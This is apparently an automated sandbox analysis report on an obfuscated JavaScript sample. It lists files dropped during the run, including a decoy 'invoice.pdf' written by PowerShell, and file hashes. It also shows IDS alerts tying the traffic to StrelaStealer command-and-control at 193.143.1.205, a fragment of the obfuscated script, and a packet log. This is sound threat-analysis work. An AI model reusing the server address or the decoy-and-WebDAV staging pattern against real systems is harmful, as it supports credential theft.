SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.353045765205087
Encrypted:	false
SSDEEP:	384:WVnb6T3/mDLU0NDBEP2zIWY/6KZ2+Q7b2S959Pn3EMD72ADuTb4Pc9O9kVasEVtS:WRomzYYUmgZ
MD5:	ED0279A3C20D7773FC5CCC44F6BC6319
SHA1:	3660ADC6E3F1724247108B1AB72EAFD250FD5BED
SHA-256:	B1C8A5B5A2F42E4988986FEB21F71709B827974F3A29866D53786004D9909050
SHA-512:	3BAB953C7ECB651B039DBD32277D981212E0D50879E23767D1DD1AFEDEC7E3EB969F8C064A50525655278D6D61CE6578F5F78D36589312F43352E75638A33EFC
Malicious:	false
Preview:	SessionID=724e1dbe-c46d-4f75-93e2-4a661a92b1eb.1736579343799 Timestamp=2025-01-11T02:09:03:799-0500 ThreadID=8012 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=724e1dbe-c46d-4f75-93e2-4a661a92b1eb.1736579343799 Timestamp=2025-01-11T02:09:03:800-0500 ThreadID=8012 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=724e1dbe-c46d-4f75-93e2-4a661a92b1eb.1736579343799 Timestamp=2025-01-11T02:09:03:800-0500 ThreadID=8012 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=724e1dbe-c46d-4f75-93e2-4a661a92b1eb.1736579343799 Timestamp=2025-01-11T02:09:03:800-0500 ThreadID=8012 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=724e1dbe-c46d-4f75-93e2-4a661a92b1eb.1736579343799 Timestamp=2025-01-11T02:09:03:800-0500 ThreadID=8012 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.410827621222441
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRt:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRf
MD5:	1301E3CA8F30E549B5BC1EF70B933785
SHA1:	8DA3B8937CAB82701209A3C0FACEB08E81F9EC4A
SHA-256:	8C6CFCF5F930D795B7E1DD393CEF09E11FF4C404CE13B0A7379C2EF8163B66D0
SHA-512:	11E2B503B85255DCBBD1E8BBF8665DC34B03423562F3CB91170E33BAB77A807B9FC2CABCEC1DA3D2209AFA612B2D89B33E7F61C41E7451B059C7307A482F2C7F
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\18e59b13-8c35-4940-a6c1-5d76172221d5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\28a7f54f-c6f5-4eda-9a3b-e3c25f167d44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dc95fd0c-c72c-4270-8fa9-f27a4ed304f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e694daa9-da4c-431f-a87c-ef158f1e65ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:GqA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:5VwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	F51616785803EE6E460DABFE7DEF339C
SHA1:	1CB166E973F34BB8F95FFAEE8339F042B6B45A4E
SHA-256:	C52B372A19A913D8F2E936209E41C296DDD8342041D4075AB2C324DD7CEDF38C
SHA-512:	66546829C2CBBE23E7E1904502232DA82D4605DD3710CA71ACA9409C705BCD71D589F713A8922C3F764D385C40420A966230FBC43E82863E10EE4B7C24526561
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16039), with CRLF line terminators
Entropy (8bit):	4.900064362434204
TrID:
File name:	1505131979137938490.js
File size:	19'554 bytes
MD5:	dac815a20eee368424723efa94a03997
SHA1:	605266413d57bf9125754bffdecc0d1ddeeb77d6
SHA256:	f96496b98e863223ac0980708ab263f70eff4e9bbc1713470ed4e9300cbf228c
SHA512:	d31d7116f2154bd2966b751be0583f270cd0c8e0ea8becaa7f00f5b9c4f31615d6338b084fbb66757b52cbec0e0231cfc06464c2086d9498728ea2d6d886c26c
SSDEEP:	192:YR9MS+w2ZDbXDFmafO7qsFVdx/aP5r1dLdIYsRLMi3LPnJy3pN:pw6HXDMqsFVuBr1dJIY4L13Lfwn
TLSH:	6D92351089649A8EDDECD4C0616F04DDE25DE10CAAF8DAFFD85420EB006FF5D56E92B8
File Content Preview:	function xqbfryrm(){qnefxi=[1031,3079,5127,4103,2055,3072];var hyusgp=this[vnrgx+mrtmnxq+eidwgavue+owieujqm+crvpiila+bkyuqeu+byfez+pgucy](this[zxnxlrxwz+jlmbtkxig+tfdaiub+eidwgavue+bmwoyf+vnrgx+pgucy][eyhqfvo+eidwgavue+crvpiila+mrtmnxq+pgucy+crvpiila+cdvl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:09:00.069474+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49701	193.143.1.205	80	TCP
2025-01-11T08:09:00.069474+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49701	193.143.1.205	80	TCP
2025-01-11T08:09:02.352718+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49702	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:08:59.296830893 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:08:59.302910089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:08:59.303014040 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:08:59.306274891 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:08:59.312061071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069345951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069411039 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069463015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069473982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.069499969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069533110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069554090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.069566965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069598913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069607973 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.069633007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069662094 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069679976 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.069700003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.069899082 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.074527979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.111967087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.112054110 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.112066031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.112097979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.112133980 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.112179995 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.190514088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190570116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190608978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190643072 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190671921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.190680981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190716982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.190776110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190810919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190849066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.190862894 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.190987110 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.191220045 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.191272974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.191309929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.191325903 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.191378117 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.191412926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.191464901 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.192282915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.192317963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.192347050 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.192352057 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.192388058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.192400932 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.192430973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.192481041 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.193084002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.198039055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.198153019 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.232580900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.232620001 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.232655048 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.232691050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.232752085 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.232775927 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.276324987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.276339054 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.276406050 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.311021090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.311053038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.311070919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.311089039 CET	80	49701	193.143.1.205	192.168.2.7
